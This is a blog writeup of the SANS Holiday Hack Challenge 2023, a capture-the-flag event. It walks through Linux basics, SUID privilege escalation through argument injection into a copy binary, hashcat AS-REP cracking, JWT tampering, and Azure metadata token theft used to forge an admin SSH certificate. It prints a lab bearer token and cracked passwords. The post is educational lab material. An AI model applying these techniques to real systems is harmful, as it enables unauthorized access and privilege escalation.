Skip to main content
  1. Posts/

SANS Holiday Hack Challenge 2023

·52 mins· 0 · 0 ·
Jason Davis
Author
Jason Davis
Information Security Professional
Table of Contents

Introduction #

This was my first time completing an entire Holiday Hack Challenge, and it did not disappoint! I enjoyed learning several new tools and techniques along the way. This page is my cumulative writeup for each of the challenges. I’m already looking forward to next year!

Alt text


Ready Player One
  Username: SlowMo7ion
  Colorway: Adorable Manager
  Head: #3
  Mouth: #2
  Torso: #8
  Legs: #0
  Shoes: N/A

Christmas Island #

Holiday Hack Orientation #

Difficulty: πŸŽ„

Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands

Alt text

Cranberry Pi Terminal

  • Welcome to the first terminal challenge! This one is intentionally simple. All we need you to do is:

    • Click in the upper pane of this terminal

    • Type answer and press Enter

      Alt text

  • This completes our orientation, time to set sail!

    Alt text


Snowball Fight #

Difficulty: πŸŽ„πŸŽ„

Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!
  • This was a pyrrhic victory, but we emerged victorious!


Linux 101 #

Difficulty: πŸŽ„

The North Pole 🎁 Present Maker: All the presents on this system have been stolen by trolls. Capture trolls by following instructions here and 🎁’s will appear in the green bar below. Run the command “hintme” to receive a hint.
  • This challenge contains a lot of Linux commands, so we’ll format each question as a comment followed by the corresponding command as the answer in the code block below.

    # Perform a directory listing of your home directory to find a troll and retrieve a present!
    ls
    
    # Now find the troll inside the troll.
    cat troll_19315479765589239
    
    # Great, now remove the troll in your home directory.
    rm troll_1931547976558923
    
    # Print the present working directory using a command.
    pwd
    
    # Good job but it looks like another troll hid itself in your home directory. Find the hidden troll!
    ls -lisa
    
    # Excellent, now find the troll in your command history.
    cat .bash_history
    
    # Find the troll in your environment variables.
    env
    
    # Next, head into the workshop.
    cd workshop
    
    # A troll is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox the troll is in.
    grep -irw "troll" .
    
    # A troll is blocking the present_engine from starting. Run the present_engine binary to retrieve this troll.
    chmod +x present_engine
    ./present_engine
    
    # Trolls have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.
    cd ~/workshop/electrical
    mv blown_fuse0 fuse0
    
    # Now, make a symbolic link (symlink) named fuse1 that points to fuse0
    ln -s fuse0 fuse1
    
    # Make a copy of fuse1 named fuse2.
    cp fuse1 fuse2
    
    # We need to make sure trolls don't come back. Add the characters "TROLL_REPELLENT" into the file fuse2.
    echo "TROLL_REPELLENT" >> fuse2
    
    # Find the troll somewhere in /opt/troll_den.
    find -iname "troll*"    #iname = case insensitive
    
    # Find the file somewhere in /opt/troll_den that is owned by the user troll.
    find . -user troll
    
    # Find the file created by trolls that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/troll_den.
    find . -type f -size +108k -size -110k
    
    # View the list of running processes to find another troll
    ps -elf
    
    # The 14516_troll process is listening on a TCP port. Use a command to have the only listening port display to the screen.
    netstat -antl
    
    # The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last troll.
    curl 0.0.0.0:54321
    
    # Your final task is to stop the 14516_troll process to collect the remaining presents.
    kill 21318
    
    #Congratulations, you caught all the trolls and retrieved all the presents!
    

    Alt text


Reportinator #

Difficulty: πŸŽ„πŸŽ„

This challenge is a penetration test report containing both legitimate and false findings. Our task is to identify and flag the false findings.
  • False Findings:

    • The first mistake in the report is in Finding #3: Remote Code Execution via Java Deserialization of Stored Database Objects. The port number 88555/TCP is outside the range of possible ports (1-65535) and therefore not valid.

      Alt text

    • The second mistake in the report is found in Finding #6: Stored Cross-Site Scripting Vulnerabilities. The executive summary states that this penetration test was performed on externally facing network assets. The report lists a private/RFC-1918 address for the vulnerable server 10.136.168.25.

      Alt text

    • The third and final mistake in the report is in Finding #9: Internal IP Address Disclosure. The screenshot shows an invalid IP address in the Location header: https://1192.168.112.16/content

      Alt text

  • With these three findings marked as invalid, the report has now been sanitized and we can submit to complete the challenge!

    Alt text


Azure 101 #

Difficulty: πŸŽ„πŸŽ„

Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.
  • When we connect to the terminal, we are prompted to input the az help command and pipe it to (| less) to get started.

    az help | less
    

    Alt text

  • We are presented with the help screen along with another set of instructions: Next, you’ve already been configured with credentials. Use use az and your account to show your current details and make sure to pipe to less (| less)

    az account show | less
    

    Alt text

  • The previous steps were a nice little warmup. The next instruction asks: Excellent! Now get a list of resource groups in Azure.

    • A helpful link to Azure Docs | Groups is provided, but let’s use Bing Chat to see if we can speed up the process. Let’s simply ask what command we can use to list resource groups in Azure.

    Alt text

    • Let’s try the command:

      az group list
      

    Alt text

  • That worked pretty well! On to the next instruction: Ok, now use one of the resource groups to get a list of function apps.

    • Provided resource: Azure Docs | Functionapp

      • Note: Some of the information returned from this command relates to other cloud assets used by Santa and his elves.
    • Like before, let’s use Bing Chat to quickly find the command syntax, then use one of our resource groups from the previous output.

      Alt text

      az functionapp list --resource-group northpole-rg1
      

      Alt text

  • We’re moving right along. We may have found some interesting tags related to ssh certs, so let’s note that and keep going. The next instruction asks us to: Find a way to list the only VM in one of the resource groups you have access to. (Note: This is relevant after completing Certificate SSHenanigans!)

    • Provided resource: Azure Docs | VM

    • Using Bing again, let’s get the command syntax.

      Alt text

      az vm list --resource-group northpole-rg1   #no access
      az vm list --resource-group northpole-rg2
      

      Alt text

  • We found that northpole-rg2 has access to a vm called NP-VM1. The next instruction asks: Find a way to invoke a run-command against the only Virtual Machine (VM) so you can RunShellScript and get a directory listing to reveal a file on the Azure VM.

    Alt text

    • We can take the example from Bing and input our information to list the contents of the root directory on NP-VM1 and complete the challenge!:
    az vm run-command invoke --resource-group northpole-rg2 --name NP-VM1 --command-id RunShellScript --scripts "ls /"
    

    Alt text


Island of Misfit Toys #

Luggage Lock #

Difficulty: πŸŽ„

Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials
  • After watching the Lock Talk video, we can digitally unlock in a similar manner. Follow along and have fun with it!

    Alt text


Linux PrivESC #

Difficulty: πŸŽ„πŸŽ„πŸŽ„

In a digital winter wonderland we play, Where elves and bytes in harmony lay. This festive terminal is clear and bright, Escalate privileges, and bring forth the light.

Start in the land of bash, where you reside, But to win this game, to root you must glide. Climb the ladder, permissions to seize, Unravel the mystery, with elegance and ease.

There lies a gift, in the root’s domain, An executable file to run, the prize you’ll obtain. The game is won, the challenge complete, Merry Christmas to all, and to all, a root feat!

Find a method to escalate privileges inside this terminal and then run the binary in /root

  • We can start by seeing what sudo permissions our user has

    sudo -l
    

    Alt text

    • We find out real quick that sudo isn’t enabled on this machine, removing a variety of privilege escalation paths we could have explored.
  • Next, we can try looking for binaries that have the SUID (Set Owner User ID) bit set. This permission allows any user to run a file under the context of the owner. If we can find a file or custom binary owned by root, we may be able to leverage those permissions to get to the /root directory

    find / -type f -perm /4000 -ls 2>/dev/null   # Find SUID only files
    

    Alt text

  • We found something interesting. The simplecopy binary has a unique timestamp property and doesn’t appear to be a common Linux file. Let’s try running it to see what it does.

    simplecopy
    

    Alt text

  • This appears to ‘simply’ take a file from one location and copy it to another. Since we can run this under the root context, let’s try copying the contents out of /root

    simplecopy /root/* /home/elf
    

    Alt text

  • We were able to successfully copy the runmetoanswer binary from /root, but the root level permissions still prevent us from running it. We know what the file name is now, but we still can’t run it. Since this machine has limited debugging capabilities, let’s try running strings on simplecopy to see if we can learn more about how it copies files.

    strings /usr/bin/simplecopy
    

    Alt text

  • simplecopy is using cp under the hood. We might be able to leverage arguments used by cp to modify permissions when copying the file. It took me a few tries, but after some trial and error, I found that we can use double quotes to combine multiple cp arguments into the argument for simplecopy. For example:

    simplecopy "<cp-arg1> <cp-arg2> <source>" <destination>
    
  • In order for us to strip the permissions, we first need to create an empty file, set execute permissions for our user, then copy the contents of the runmetoanswer binary into our file. Here’s a sequence we can follow to start:

    touch runmetoanswer         #create a 'placeholder' file
    chmod +x runmetoanswer      #add execute permissions
    ls -lisa                    #view file permissions
    
  • Let’s check our work. We now have an empty (0-byte) executable file named runmetoanswer that our user has permissions to run.

    Alt text

  • Now, let’s try moving the contents of /root/runmetoanswer into our runmetoanswer file using the combined cp arguments concept we discovered above, then check our file properties again.

    simplecopy "--copy-contents /root/runmetoanswer" runmetoanswer 
    ls -lisa                    #view file permissions (again) 
    

    Alt text

  • That worked! Notice that the file size has increased. It also matches the original size when we initially copied runmetoanswer without execute permissions. With that obstacle out of our way, let’s try running the binary.

    ./runmetoanswer
    

    Alt text

  • We are closer to the answer, but need to work around permissions of the /etc/runtoanswer.yaml file now. We can apply the same concept as before: Create an empty file, modify permissions, leverage the root user context to copy file contents with simplecopy.

    touch runtoanswer.yaml          #create another placeholder file
    chmod 755 runtoanswer.yaml      #add rwx permissions for our user
    #copy contents into our version of runtoanswer.yaml
    simplecopy "--copy-contents /etc/runtoanswer.yaml" runtoanswer.yaml
    
  • Let’s take a look at what we just copied into runtoanswer.yaml

    cat runtoanswer.yaml
    

    Alt text

  • We found a potential answer we might be able to use in the future. Now that we have a readable version of runtoanswer.yaml, we need to get it back into /etc so the runmetoanswer binary can reference it. We’ll use simplecopy one last time. The --force and --preserve=all arguments will keep our permissions intact.

    simplecopy "--force --preserve=all runtoanswer.yaml" /etc/runtoanswer.yaml
    
  • Finally, let’s run the binary again and use the santa answer we found earlier to solve the challenge!

    ./runmetoanswer

    Alt text


hashcat #

Difficulty: πŸŽ„πŸŽ„

In a realm of bytes and digital cheer,
The festive season brings a challenge near.
Santa’s code has twists that may enthrall,
It’s up to you to decode them all.

Hidden deep in the snow is a kerberos token,
Its type and form, in whispers, spoken.
From reindeers’ leaps to the elfish toast,
Might the secret be in an ASREP roast?

hashcat, your reindeer, so spry and true,
Will leap through hashes, bringing answers to you.
But heed this advice to temper your pace,
-w 1 -u 1 --kernel-accel 1 --kernel-loops 1, just in case.

For within this quest, speed isn’t the key,
Patience and thought will set the answers free.
So include these flags, let your command be slow,
And watch as the right solutions begin to show.

For hints on the hash, when you feel quite adrift,
This festive link, your spirits, will lift:
https://hashcat.net/wiki/doku.php?id=example_hashes

And when in doubt of hashcat’s might,
The CLI docs will guide you right:
https://hashcat.net/wiki/doku.php?id=hashcat

Once you’ve cracked it, with joy and glee so raw,
Run /bin/runtoanswer, without a flaw.
Submit the password for Alabaster Snowball,
Only then can you claim the prize, the best of all.

So light up your terminal, with commands so grand,
Crack the code, with hashcat in hand!
Merry Cracking to each, by the pixelated moon’s light,
May your hashes be merry, and your codes so right!

Determine the hash type in hash.txt and perform a wordlist cracking attempt to find which password is correct and submit it to /bin/runtoanswer .*

  • Using GPT4 with Bing chat, we can quickly determine what hash type this is, the mode we need to use in Hashcat, and a sample command as a starting point.

    Alt text

  • Let’s make a few modifications to the command. Trying to run it the way Bing suggested still has some errors in this environment. We can use --force to override the warning and continue. Let’s also output our results to cracked.txt

    hashcat -m 18200 --kernel-accel 1 --kernel-loops 1 -o cracked.txt hash.txt password_list.txt --force
    

    Alt text

  • We can submit the cracked password as the answer:

    Alt text

    User: alabaster_snowball

    Password/Answer: IluvC4ndyC4nes!


Pixel Island #

Elf Hunt #

Difficulty: πŸŽ„πŸŽ„πŸŽ„

Welcome to Elf Hunt!

  • Santa’s elves welcome you to a friendly snowball challenge.
  • Try and hit as many elves as possible.
  • Keep in mind, these elves are not mere mortals, they can ‘jot’ about the screen at tremendous speed.
  • ChatNPT will track your progress.
  • You will need to score 75 points to win the game.
  • To support our game chatNPT may advertise at times too.
  • Click anywhere to begin.
  • Good luck! Jingle all the way to Geese Islands this holiday!

To get started, we know that we need to score at least 75 hits to win. We also receive a hint referring us to Santa's Magic Cookies to find a way to slow down the elves. I found that when I started recording the game play, the Elves would slow down for a few seconds allowing a few easy hits. They did eventually speed up and I wanted dig into those cookies to try and solve this one, so let’s start by looking there.

Cookies

  • Upon entering the Game, if we open the developer tools and navigate to the Application tab, we can view the cookies used on this page. It appears that we have a JSON Web Token (JWT)

    Alt text

  • Based on the documentation, a JWT is split into three parts separated by periods “.” e.g. header.payload.secret. Then they are passed as base-64 encoded strings into the browser.

    HMACSHA256(
        base64UrlEncode(header) + "." +
        base64UrlEncode(payload),
        secret)
    
  • It looks like we only have two strings in the Value for our JWT. Let’s throw this into Bing chat to see if it can help us out.

    Alt text

  • We get a nice breakdown of the JWT and the decoded values. We also have insight into a vulnerability with the omission of the secret field. We can take a look at manipulating the "speed" value to test against server-side validation. If it works, we might be able to slow things down to make the game easier. Let’s try setting the speed to -100.

    • Let’s jump over to CyberChef to encode our payload {"speed":-100}.

      Alt text

    • Next, let’s update the JWT payload and refresh the page to play again.

      Alt text

  • As you can see, it is MUCH easier to get hits. We can continue playing the game until we get a score of 75 to win… Or, we can look at the source code to see if we can automatically win without playing.

    • If we go to the Sources tab in the developer tools, we can inspect the code. In Sources > elfhunt.org/ > elfhunt.org, we can find the code for the game. Drilling down further, we’ll find an interesting variable called vToken with a default value set to False before the game starts. It is also referenced before results are delivered. This may be something we could target.

      Alt text

    • There is also an interesting update() function that references the session JWT.

      Alt text

    • We might be able to learn more about this code block and how we might be able to set vToken to true using a JWT. Let’s go ask Bing about it.

      Alt text

      Alt text

    • We don’t get the clearest response from this prompt, but we have a clue. Let’s try adding the base64-encoding value for{“w”:True} to the JWT. Our complete payload will be: {"speed":-100,"w":true} // (eyJzcGVlZCI6LTEwMCwidyI6dHJ1ZX0). Note: Padding should be omitted for JWTs


Certificate SSHenanigans #

Difficulty: πŸŽ„πŸŽ„πŸŽ„πŸŽ„πŸŽ„

Go to Pixel Island and review Alabaster Snowball’s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

Conversation with Alabaster Snowball:

  • Hello there! Alabaster Snowball at your service.

  • I could use your help with my fancy new Azure server at:

    • ssh-server-vm.santaworkshopgeeseislands.org
  • ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!

  • It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!

  • I’m a little wary though. I’d appreciate it if you could take a peek and confirm everything’s secure before I deploy this configuration to all the Geese Islands servers.

  • Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.

  • If you haven’t heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.

  • Oh, and if you need to peek at the Function App code, there’s a handy Azure REST API endpoint which will give you details about how the Function App is deployed.

Solution Walkthrough

  • Let’s start out by visiting Alabaster’s Azure Function App.

    Alt text

  • It is asking for a public SSH key, let’s generate a key pair for the monitor user from our kali op station. We’ll use an ED25519 key pair because they’re awesome!

    ssh-keygen -t ed25519 -C "Monitor User Key" -f monitor
    
  • Let’s copy and paste the contents from our monitor.pub key into Alabaster’s app to sign the key.

    Alt text

    Alt text

  • The output is formatted in json, so we only need to copy the body of the output. Paste the contents into a new file back on op station.

    echo "ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJTM1MTE2NjcwMTMyNjcwODQwMTIxMzY4MDQ3NjQyNjg0MTgyNDEAAAAgQWB+jEFTRa2Nxe2Sr3xxj76m8D9Ni4T4cxHdP2zGmn4AAAAAAAAAAQAAAAEAAAAkMGUxNzUwN2QtNTJjYS00ODMwLWIzOWUtNjZjYjU5M2UyNDU4AAAABwAAAANlbGYAAAAAZZeQUwAAAABlvHt/AAAAAAAAABIAAAAKcGVybWl0LXB0eQAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACBpNhjTApiZFzyRx0UB/fkzOAka7Kv+wS9MKfj+qwiFhwAAAFMAAAALc3NoLWVkMjU1MTkAAABASyQlGdwBb8Zj5hwztfLpO+BsqXNL1VIUgYykcHZvXHPa9cGYBPhUTaj6WLFHXlSxeAAyUaPZoTdcUoJ5gXDnAA==" > monitor-cert.pub
    
  • Let’s restrict permissions on our keys before moving forward.

    chmod 400 monitor*
    
  • Now, we can try authenticating to the server. Since we are using a working directory for this challenge, we’ll need to specify both the private and public keys in our command with -i.

    ssh -i monitor-cert.pub -i monitor monitor@ssh-server-vm.santaworkshopgeeseislands.org
    
  • We reached a SatTracker page! Let’s return to a prompt by pressing CTRL+C.

    Alt text

  • We can begin our initial recon by inspecting user home folders, permissions, configurations, etc. After looking around, we can see a home folder for alabaster that we don’t have access to (yet πŸ˜‰).

    Alt text

  • There are also user authorization principals for monitor and alabaster configured in the system-wide ssh configuration files that may present an opportunity for privilege escalation /etc/ssh/auth_principals. Looking back at the elf principal from when we signed our key on Alabaster’s site, we need to find a way to have the site sign a key with the admin principal.

    Alt text

  • Let’s enumerate this host further. Since we are authenticated to the server hosting an Azure Function App, we should be able to query the Azure REST APIs with our existing access. Let’s use Bing chat to help generate the syntax.

    Alt text

  • Perfect! Let’s take the command from Bing and pipe it into jq for a cleaner json output.

    curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
    
    {
        //truncated output...
        "platformFaultDomain": "0",
        "platformUpdateDomain": "0",
        "priority": "",
        "provider": "Microsoft.Compute",
        "publicKeys": [],
        "publisher": "",
        "resourceGroupName": "northpole-rg1",
        "resourceId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm",
        //...                                                
    }
    
  • This gives us some information about the {resourceGroup}, {subscriptionId}and {vmName}. Let’s generate a Bearer Token so we can authenticate to the API and query specific information about this VM.

    • resourceGroup = northpole-rg1

    • subscriptionId = 2b0942f3-9bca-484b-a508-abdae2db5e64

    • vmName = ssh-server-vm

    • Command to generate a bearer token (execute from vm):

      curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -H Metadata:true -s | jq .
      
    • Token Value:

      {
        "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlhdCI6MTcwNDQzOTg1MCwibmJmIjoxNzA0NDM5ODUwLCJleHAiOjE3MDQ1MjY1NTAsImFpbyI6IkUyVmdZT0RlT20zQ2hOclhNWE1lbFQzK09YTjdBZ0E9IiwiYXBwaWQiOiJiODRlMDZkMy1hYmExLTRiY2MtOTYyNi0yZTBkNzZjYmEyY2UiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJyaCI6IjAuQUZFQTJvNmprQVpBMVUyU1RHeWxYS3pCVFVaSWYza0F1dGRQdWtQYXdmajJNQlBRQUFBLiIsInN1YiI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInRpZCI6IjkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZCIsInV0aSI6IkxCbHJfOVRsbzBlWGhfTDVjY0oxQmciLCJ2ZXIiOiIxLjAiLCJ4bXNfYXpfcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5Db21wdXRlL3ZpcnR1YWxNYWNoaW5lcy9zc2gtc2VydmVyLXZtIiwieG1zX2NhZSI6IjEiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5IiwieG1zX3RjZHQiOjE2OTg0MTc1NTd9.vafTrGDxRPkL2k5y80nZsn8l47tGKbBHBLsFzFL00YLAGvE54LmTFXQBAMElveIP8xNpWLbUAhZbYcPIyjL2JGogg7fOVrUc1ZcD_swNRVnpyeljchPHcizfxrYJxL-5_sNzARdmVZ9T8W-dPY1BEc2x9W75PHKJ9pFBvxw9Nmy6G96gHVgpot8myPJ8_fkPUUwZP8SFBYYKgD2fm4MinJHHsLA-utfcLsdoG8gdZweP3v2pd-Vy3uWD21YHuHsMVoJkTNPZ3Y6jfvo8NWwyPQyjZ26WFT50KRnBZFnx202_qqP-xvzbuumoxNKpAZq-Lh44u-Ik_aEz5Bn3w6uc7w",                                                                                   
        "client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
        "expires_in": "85128",
        "expires_on": "1704526550",
        "ext_expires_in": "86399",
        "not_before": "1704439850",
        "resource": "https://management.azure.com",
        "token_type": "Bearer"
      }
      
  • We have everything we need to send an authenticated request to the API for the source control configuration of the app.

    curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlhdCI6MTcwNDQzOTg1MCwibmJmIjoxNzA0NDM5ODUwLCJleHAiOjE3MDQ1MjY1NTAsImFpbyI6IkUyVmdZT0RlT20zQ2hOclhNWE1lbFQzK09YTjdBZ0E9IiwiYXBwaWQiOiJiODRlMDZkMy1hYmExLTRiY2MtOTYyNi0yZTBkNzZjYmEyY2UiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJyaCI6IjAuQUZFQTJvNmprQVpBMVUyU1RHeWxYS3pCVFVaSWYza0F1dGRQdWtQYXdmajJNQlBRQUFBLiIsInN1YiI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInRpZCI6IjkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZCIsInV0aSI6IkxCbHJfOVRsbzBlWGhfTDVjY0oxQmciLCJ2ZXIiOiIxLjAiLCJ4bXNfYXpfcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5Db21wdXRlL3ZpcnR1YWxNYWNoaW5lcy9zc2gtc2VydmVyLXZtIiwieG1zX2NhZSI6IjEiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5IiwieG1zX3RjZHQiOjE2OTg0MTc1NTd9.vafTrGDxRPkL2k5y80nZsn8l47tGKbBHBLsFzFL00YLAGvE54LmTFXQBAMElveIP8xNpWLbUAhZbYcPIyjL2JGogg7fOVrUc1ZcD_swNRVnpyeljchPHcizfxrYJxL-5_sNzARdmVZ9T8W-dPY1BEc2x9W75PHKJ9pFBvxw9Nmy6G96gHVgpot8myPJ8_fkPUUwZP8SFBYYKgD2fm4MinJHHsLA-utfcLsdoG8gdZweP3v2pd-Vy3uWD21YHuHsMVoJkTNPZ3Y6jfvo8NWwyPQyjZ26WFT50KRnBZFnx202_qqP-xvzbuumoxNKpAZq-Lh44u-Ik_aEz5Bn3w6uc7w" \
    -X GET https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01 | jq
    
    • Output

      {
        //truncated output...
        "properties": {
          "repoUrl": "https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa",
          "branch": "main",
        }
      }
      
  • We found the link to the source code, let’s go check it out: https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa

  • Looking through the source for the function_app.py program, there’s an argument that will allow us to pass our own ‘principal’ value and overwrite the default argument on line 45.

    45
    
    principal = data.get("principal", DEFAULT_PRINCIPAL)
    
  • Let’s use Bing to help us build a POST request with curl

    Alt text

  • Before we proceed, we need to generate a ssh key pair for Alabaster and copy the public key contents for our POST request.

    ssh-keygen -t ed25519 -C "alabaster" -f alabaster
    cat alabaster.pub
    
  • Let’s put it all together and send the request.

    curl -X POST -H "Content-Type: application/json" -d '{
        "ssh_pub_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBucr50T4eEMkxfKf6503ufhZsih2rHIIFXXhMOdGQvg alabaster",
        "principal": "admin"
    }' "https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl"
    
  • Success! We received a response with a signed key for the admin principal.

    Alt text

  • Like before, we can create a file with the signed cert contents we just received, then authenticate with the alabaster user.

    echo "ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJjYzODA2NTc1OTE5MDU2MDYxNzg5ODI1Mzk1MzU4MTE0Nzk5NDU3AAAAIBucr50T4eEMkxfKf6503ufhZsih2rHIIFXXhMOdGQvgAAAAAAAAAAEAAAABAAAAJDBiZGJkYWM5LTg5NTQtNGQzNC04MDU2LTE0ZjM0YzUyNDJlYgAAAAkAAAAFYWRtaW4AAAAAZZfFdQAAAABlvLChAAAAAAAAABIAAAAKcGVybWl0LXB0eQAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACBpNhjTApiZFzyRx0UB/fkzOAka7Kv+wS9MKfj+qwiFhwAAAFMAAAALc3NoLWVkMjU1MTkAAABAOSUj7TnJYzKj88FM0Uz58aZZ2d63u2MvjnbQjeRn/mKdoD35RoHchc3RDiHdymE7agAdS0zgGYdQ41BqcgkxBw==" > alabaster-cert.pub
    
    ssh -i alabaster-cert.pub -i alabaster alabaster@ssh-server-vm.santaworkshopgeeseislands.org
    
  • Now that we’re in, the last thing to do is open alabaster_todo.md and find out what kind of cookie cache is planned!

    Alt text

Answer: gingerbread


Steampunk Island #

Faster Lock Combination #

Difficulty: πŸŽ„πŸŽ„

Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!


The Captain’s Comms #

Difficulty: πŸŽ„πŸŽ„πŸŽ„πŸŽ„πŸŽ„

The newly appointed Geese Islands Communications Captain has been monitoring some off-shore transmissions using the newly installed ‘Just Watch This’ Software Defined Radio (SDR) system. The Captain suspects that a group of miscreants sailing about the islands plan to come ashore and cause trouble. The Captain would like to find their anticipated ‘go-time’ frequency, the planned date and hour for their incursion, and lure the miscreants ashore at a time when the island authorities are sufficiently prepared and ready by transmitting a message announcing a new ‘go-time’ which is four hours earlier than what the miscreants have planned.

Different items in the communications area may be interacted with by clicking on them. Some (but not all) items will show a thin yellow border if they’re interactive. Some items will require AUTHORIZATION with a different ROLE not immediately granted when entering the communications shack. Explore the Captain’s Comms, learn how to use the ‘Just Watch This’ SDR, and use the Captain’s transmitter to send the misleading message with the correct frequency, date, and new time to prevent the miscreants from interrupting everyone’s holiday cheer.

Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You’ll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.

  • After CLOSELY reading all the documents, we can begin with the assumption that the path of privilege escalation flow through the following roles:
graph LR; A[radioUser]-->B[radioMonitor]-->C[radioDecoder]-->D[GeeseIslandsSuperChiefCommunicationsOfficer]

Environment Setup

  • We can start by trying to obtain the rMonitor.tok authentication key to elevate to the radioMonitor user. The documents indicate that this has been insecurely stored on the server. To modify our authentication with JWTs, we can use Burp Suite. Let’s get it set up!

    • To make things easier to see and troubleshoot in one place, let’s install the JWT Editor into our Burp console.

      1. Go to the Extensions tab within the console.

      2. Select the nested BApp Store tab.

      3. Filter for “JWT”.

      4. Select JWT Editor and Install.

        Alt text

    • Now we can configure FireFox to proxy traffic through the Burp console by using 127.0.0.1:8080 in Connection Settings > Manual proxy configuration.

      Alt text

Challenge

  • With our environment ready, We have another clue that tells us: “Access controls are based on the ROLE that is CLAIMed in unique AUTHORIZATION tokens. BEARERS of tokens with different ROLEs are permitted to use the SDR in different ways”.

